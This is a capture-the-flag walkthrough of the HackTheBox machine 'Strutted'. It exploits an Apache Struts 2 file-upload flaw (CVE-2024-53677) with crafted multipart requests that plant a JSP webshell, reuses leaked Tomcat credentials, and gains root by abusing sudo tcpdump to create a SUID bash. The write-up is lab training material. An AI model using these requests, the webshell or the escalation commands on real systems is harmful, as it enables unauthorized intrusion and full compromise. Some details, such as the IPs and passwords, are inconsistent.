HTB Strutted Writeup (Walkthrough)
Introduction
Strutted, a medium-difficulty Linux machine on HackTheBox, offers a practical exploration of real-world vulnerabilities and misconfigurations. Retired as a free instant challenge, this box focuses on exploiting CVE-2024-53677, a critical remote code execution flaw in Apache Struts 2, to gain an initial foothold. The machine simulates a compromised image-hosting platform hosted via a vulnerable Docker container, emphasizing the risks of unpatched frameworks.
After exploiting the Struts vulnerability to upload a web shell and execute code as the tomcat user, further enumeration reveals exposed credentials in the tomcat-users.xml configuration file. These credentials pave the way for lateral movement to the user james. The privilege escalation path then leverages a classic misconfiguration: improper sudo permissions for tcpdump, enabling attackers to craft a malicious payload that grants root access by manipulating SUID binaries.
This machine underscores essential penetration testing concepts, including exploiting public CVEs, auditing configuration files for credential leakage, and abusing elevated privileges. Additionally, post-exploration reveals intriguing details such as a Systemd security mechanism and Tomcat configuration quirks, adding depth to the learning experience. Strutted serves as a valuable exercise in vulnerability chaining and reinforces the importance of proactive system hardening.
INFO
Machine IP = 10.10.11.59 OS = Linux Level = MEDIUM Points = 30
Enumeration
Port Scanning
1
nmap -sC -sV -oN nmap/code 10.10.11.59
Nmap scan report for strutted.htb (10.10.11.59)
Open Ports:
- 22/tcp OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
- 80/tcp nginx 1.18.0 (Ubuntu)
Web Enumeration
The initial phase began by adding the domain strutted.htb to /etc/hosts to resolve the target IP:
1
echo "10.129.231.200 strutted.htb" | sudo tee -a /etc/hosts
Visiting http://strutted.htb revealed a static website for an image-hosting service. The Download link offered a Docker environment (strutted.zip), which was critical for understanding the application’s architecture. Unzipping the file exposed the source code and configuration files:
1
unzip strutted.zip
Key files included:
-
Dockerfile: Revealed the use of tomcat:9.0 and openjdk:17, with the application deployed as ROOT.war.
-
tomcat-users.xml: Contained credentials (admin:skqKY6360z!Y), but these were deemed irrelevant for direct exploitation.
-
pom.xml: Highlighted dependencies, notably Apache Struts 2 v6.3.0.1, a version vulnerable to CVE-2024-53677 (RCE via malicious file upload).
Analyzing the Vulnerability
The pom.xml dependency tree confirmed the use of Struts 2’s FileUploadInterceptor, which mishandled OGNL expressions in the filename parameter. This allowed path traversal and arbitrary file uploads. The vulnerability hinged on bypassing security checks in the ParametersInterceptor#isAccepted method, which validated parameter names against a regex.
Exploit Crafting
A legitimate image upload was intercepted in BurpSuite to analyze the request structure. The Struts 2 framework processed the filename parameter dynamically, enabling OGNL injection. By crafting a payload to manipulate the UploadFileName parameter, the filename could be overwritten:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="Upload"; filename="legit.gif"
Content-Type: image/gif
[Malicious content]
------WebKitFormBoundary
Content-Disposition: form-data; name="top.UploadFileName"
shell.jsp
------WebKitFormBoundary--
This payload exploited the value stack to redefine UploadFileName as shell.jsp, bypassing regex checks by avoiding prohibited characters (e.g., []). The crafted request uploaded a web shell to the Tomcat server, setting the stage for RCE.
Key Takeaways
-
Docker Analysis: Exposed Tomcat 9 and Struts 2 configuration, guiding vulnerability research.
-
Struts 2 Flaw: Misconfigured file upload handling allowed OGNL injection via parameter manipulation.
-
Bypass Technique: Simplified OGNL expressions (top.UploadFileName) circumvented security regex, enabling arbitrary file uploads.
This phase transitioned into executing the payload to gain a foothold as the tomcat user, leveraging the uploaded web shell.
Initial Foothold
Exploiting CVE-2024-53677 (Apache Struts 2 Path Traversal to RCE)
The vulnerability stems from improper handling of file upload parameters in Apache Struts 2’s FileUploadInterceptor. By manipulating the filename field with OGNL expressions, an attacker can bypass security checks and write arbitrary files to the server.
Bypassing Security Mechanisms:
The application enforced strict checks:
-
MIME Type Validation: Only image/jpeg, image/png, or image/gif were allowed.
-
Magic Bytes Verification: Files were validated against image-specific byte headers (e.g., FF D8 FF for JPEGs).
To bypass these:
-
A malicious JSP webshell was embedded into a valid image file (e.g., test.jpg), preserving the magic bytes.
-
The filename parameter was modified to capitalize Upload (name=”Upload”), exploiting case sensitivity discrepancies in Struts 2’s parameter parsing.
-
The top.UploadFileName parameter was injected with a path traversal payload (../../shell.jsp) to write the file outside the restricted upload directory.
Final Exploit Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=---------------------------40206448941825625594104915613
-----------------------------40206448941825625594104915613
Content-Disposition: form-data; name="Upload"; filename="test.jpg"
Content-Type: image/jpeg
ÿØÿà... [JPEG Magic Bytes]
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
... [JSP Webshell Logic]
%>
-----------------------------40206448941825625594104915613
Content-Disposition: form-data; name="top.UploadFileName"
../../webshell.jsp
-----------------------------40206448941825625594104915613--
Automated Exploitation with CVE-2023-50164 Script
The GitHub exploit jakabakos/CVE-2023-50164-Apache-Struts-RCE was adapted for this scenario. The script automates payload generation and uploads a WAR-based webshell:
Execution:
1
python3 exploit.py --url http://strutted.htb/upload.action
Output:
1
2
3
4
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Successfully connected to the web shell.
CMD >
Key Observations
-
Case Sensitivity: Capitalizing Upload bypassed parameter validation.
-
Path Traversal: The top.UploadFileName payload wrote the JSP file to webapps/ROOT, making it accessible directly under the root context.
-
Defense Evasion: Embedding the JSP payload into an image file bypassed magic byte checks while retaining execution capabilities.
This foothold paved the way for lateral movement to james from /etc/passwd via exposed credentials in tomcat-users.xml and eventual privilege escalation to root
1
2
3
4
5
6
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
[+] Found valid user account:
Username: james
UID/GID: 1000/1000
Shell: /bin/bash
1
2
3
4
5
6
7
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
USER FLAG
1
2
ssh [email protected]
Password: IT14d6SSP81k
1
2
3
james@strutted:~$ ls
user.txt
james@strutted:~$ cat user.txt
Privilege Escalation Methodology
Identifying the Vector: Sudo Permissions Analysis
After gaining initial access as the user james, the first step in privilege escalation involves auditing sudo permissions. The command sudo -l reveals that james can execute /usr/sbin/tcpdump with root privileges without a password:
1
2
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
This configuration is a critical misstep, as tcpdump (a network traffic analyzer) can be weaponized to execute arbitrary commands when running with elevated privileges.
Exploitation via tcpdump’s -z Flag
The tcpdump binary includes a dangerous feature: the -z flag allows executing external scripts after packet capture. Combined with -Z root (which runs commands as root), this becomes a privilege escalation vector. Here’s how it works:
-
Craft a Malicious Payload Create a temporary script (TF) that:
-
Copies /bin/bash to /tmp/rootbash
-
Sets the SUID bit (chmod +s), allowing execution with the file owner’s privileges (root):
-
1
2
3
4
james@strutted:~$ COMMAND='cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
Trigger the Exploit
Execute tcpdump with flags designed to:
- Capture no packets (-i lo for loopback interface)
- Immediately run the malicious script via -z $TF:
1
2
3
4
5
6
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
Flags Breakdown:
- W 1: Limit to 1 file
- G 1: Rotate files every 1 second
- Z root: Execute commands as root
Gaining Root Access
The exploit creates /tmp/rootbash, a SUID-enabled copy of bash. When executed with -p, it preserves the effective UID (root), granting a privileged shell:
1
/tmp/rootbash -p
Why -p? The -p flag prevents bash from resetting privileges to the real UID (james). Without it, the SUID bit would be ignored, and the shell would drop back to user-level access.
Proof of Compromise
With root access, the system is fully compromised. The final step is retrieving the root flag:
4. Root Flag
1
rootbash-5.1# cat /root/root.txt
Skills Required
- Basic source code analysis
- Linux enumeration
Skills Learned
- Exploiting CVEs
- Apache Struts OGNL injection
Done!
Hi there 👋 Support me!
Life is an echo—what you send out comes back.